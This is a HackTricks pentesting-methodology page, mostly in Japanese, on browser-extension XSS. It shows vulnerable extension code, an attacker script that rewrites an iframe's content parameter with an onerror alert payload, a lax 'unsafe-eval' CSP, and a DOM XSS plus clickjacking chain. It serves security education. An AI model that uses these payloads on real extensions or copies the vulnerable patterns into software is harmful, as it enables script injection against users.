hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

7.9 KiB
Raw Blame History

BrowExt - XSSの例

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

クロスサイトスクリプティングXSSによるIframe

このセットアップでは、コンテンツスクリプトが実装され、クエリパラメータを含むURLをIframeのソースとして組み込んでいます

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

以下は、message.html という公開されている HTML ページで、URL のパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースのcontentパラメータを変更してXSSペイロードを導入します。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

過度に許可されたContent Security Policyは次のようなものです

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にする。

XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースをcontentパラメータとして有害なスクリプトを含めることです。

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

この例は、元の投稿の解説から取得されました。

問題の核心は、**/html/bookmarks.htmlにあるDOMベースのクロスサイトスクリプティングXSS脆弱性から発生します。問題のあるJavaScriptは、bookmarks.js**の一部で以下に詳細が記載されています。

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

このスニペットは、txtName 入力フィールドから value を取得し、HTML を生成するために 文字列の連結 を使用し、それを jQuery の .append() 関数を使って DOM に追加します。

通常、Chrome 拡張機能のコンテンツセキュリティポリシーCSPは、このような脆弱性を防ぎます。ただし、'unsafe-eval' で CSP の緩和 と jQuery の DOM 操作メソッドの使用(これは globalEval() を使用してスクリプトを DOM に挿入する際に eval() に渡す)により、依然として攻撃が可能です。

この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存しますページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。

この脆弱性を強化するために、二次的な clickjacking 脆弱性が悪用されます。Chrome 拡張機能のマニフェストには、広範な web_accessible_resources ポリシーが示されています:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notably, the /html/bookmarks.html page is prone to framing, thus vulnerable to clickjacking. This vulnerability is leveraged to frame the page within an attackers site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: